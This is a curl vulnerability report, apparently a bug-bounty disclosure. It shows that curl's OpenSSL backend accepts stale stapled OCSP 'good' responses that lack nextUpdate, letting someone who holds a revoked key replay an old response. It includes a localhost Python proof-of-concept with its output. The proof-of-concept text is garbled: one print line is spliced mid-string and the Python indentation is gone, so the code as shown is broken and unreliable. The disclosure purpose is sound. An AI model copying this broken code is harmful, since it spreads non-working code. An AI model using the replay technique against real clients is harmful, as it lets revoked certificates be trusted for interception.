curl · Report #4135826
--cert-status with OpenSSL accepts a stapled OCSP response of any age when it lacks nextUpdate (revoked certificate keeps passing)
How it was found
Summary:
curl built with OpenSSL accepts a stapled OCSP "good" response of any age under CURLOPT_SSL_VERIFYSTATUS (--cert-status) when the response omits nextUpdate, so a response signed before a certificate was revoked keeps passing the check for as long as the certificate itself is valid. The GnuTLS backend of the same curl rejects that old response, the OpenSSL backend applies no age limit at all. Omitting nextUpdate is the default behavior of the openssl ocsp responder, so private CAs built on it produce exactly these responses, and anyone who captured a "good" response for a certificate before its revocation can replay it indefinitely with the revoked key. I reproduced this on Linux with curl built from the curl-8_23_0 tag and from master b5ca96a441 against OpenSSL 3.6.4 using the script below, which makes a CA and a leaf valid since 500 days and staples three responses signed now, a fresh "good" one, a fresh "revoked" one and a "good" one with thisUpdate 400 days in the past and no nextUpdate (producedAt is current, curl only looks at thisUpdate and nextUpdate), and the OpenSSL builds exit 0, 91 and 0 for them while the GnuTLS builds exit 0, 60 and 60. AI tooling helped me with the test script, the setup and the numbers are mine.
#!/usr/bin/env python3
# curl --cert-status with OpenSSL: a fresh "revoked" staple is rejected, an old "good" one for the same cert without nextUpdate is accepted
# needs: python3 cryptography, openssl s_server on PATH; usage: python3 poc_ocsp_age.py /path/to/curl
import datetime, subprocess, sys, time
from cryptography import x509
from cryptography.x509 import ocsp
from cryptography.x509.oid import NameOID
from cryptography.hazmat.primitives import hashes, serialization
from cryptography.hazmat.primitives.asymmetric import rsa
now = datetime.datetime.now(datetime.timezone.utc); day = datetime.timedelta(days=1)
def cert(name, key, issuer, ikey, ca):
b = x509.CertificateBuilder().subject_name(name).issuer_name(issuer).public_key(key.public_key()).serial_number(x509.random_serial_number())
b = b.not_valid_before(now - 500 * day).not_valid_after(now + 30 * day).add_extension(x509.BasicConstraints(ca=ca, path_length=None), critical=True)
if not ca: b = b.add_extension(x509.SubjectAlternativeName([x509.DNSName('localhost')]), critical=False)
return b.sign(ikey, hashes.SHA256())
cakey, leafkey = rsa.generate_private_key(65537, 2048), rsa.generate_private_key(65537, 2048)
can = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, 'poc ca')]); ca = cert(can, cakey, can, cakey, True)
leaf = cert(x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, 'localhost')]), leafkey, can, cakey, False)
pem = serialization.Encoding.PEM
open('ca.pem', 'wb').write(ca.public_bytes(pem)); open('leaf.pem', 'wb').write(leaf.public_bytes(pem))
open('leaf.key', 'wb').write(leafkey.private_bytes(pem, serialization.PrivateFormat.TraditionalOpenSSL, serialization.NoEncryption()))
def staple(name, status, this_update, next_update, rtime=None, reason=None):
b = ocsp.OCSPResponseBuilder().add_response(cert=leaf, issuer=ca, algorithm=hashes.SHA1(), cert_status=status, this_update=this_update,
next_update=next_update, revocation_time=rtime, revocation_reason=reason).responder_id(ocsp.OCSPResponderEncoding.NAME, ca)
open(name, 'wb').write(b.sign(cakey, hashes.SHA256()).public_bytes(serialization.Encoding.DER))
srv = subprocess.Popen(['openssl', 's_server', '-accept', '8443', '-cert', 'leaf.pem', '-key', 'leaf.key', '-cert_chain', 'ca.pem', '-status_file', name, '-www', '-quiet'])
time.sleep(1); r = subprocess.run([sys.argv[1], '-sS', '--cacert', 'ca.pem', '--cert-status', '-o', '/dev/null', 'https://localhost:8443/']); srv.terminate(); srv.wait(); return r.returncode
print('fresh good staple (thisUpdate 1 hour ago, nextUpdate tomorrow): exit', staple('good.der', ocsp.OCSPCertStatus.GOOD, now - day / 24, now + day))
print('fresh revoked staple (thisUpdate 1 hour ago, ntaple('revoked.der', ocsp.OCSPCertStatus.REVOKED, now - day / 24, now + day, now - 30 * day, x509.ReasonFlags.key_compromise))
print('old good staple (thisUpdate 400 days ago, no nextUpdate): exit', staple('old.der', ocsp.OCSPCertStatus.GOOD, now - 400 *
day, None))```
$ python3 poc_ocsp_age.py ./curl-openssl curl: (91) SSL certificate revocation reason: keyCompromise (1) fresh good staple (thisUpdate 1 hour ago, nextUpdate tomorrow): exit 0 fresh revoked staple (thisUpdate 1 hour ago, nextUpdate tomorrow): exit 91 old good staple (thisUpdate 400 days ago, no nextUpdate): exit 0 $ python3 poc_ocsp_age.py ./curl-gnutls fresh good staple (thisUpdate 1 hour ago, nextUpdate tomorrow): exit 0 fresh revoked staple (thisUpdate 1 hour ago, nextUpdate tomorrow): exit 60 old good staple (thisUpdate 400 days ago, no nextUpdate): exit 60
## Affected version
curl 8.23.0-DEV (x86_64-pc-linux-gnu) libcurl/8.23.0-DEV OpenSSL/3.6.4 zlib/1.3.2 brotli/1.2.0 zstd/1.5.7 libidn2/2.3.8 libpsl/0.23.3 nghttp2/1.70.0 OpenLDAP/2.6.14
## Steps To Reproduce:
python3 poc_ocsp_age.py /path/to/curl
## Impact
## Summary:
A client that requires OCSP stapling keeps trusting a certificate after its revocation when the other side holds the revoked key and a "good" response captured before the revocation from a responder that omits nextUpdate, which the stock openssl ocsp responder does, so revocation is never enforced for the lifetime of that certificate.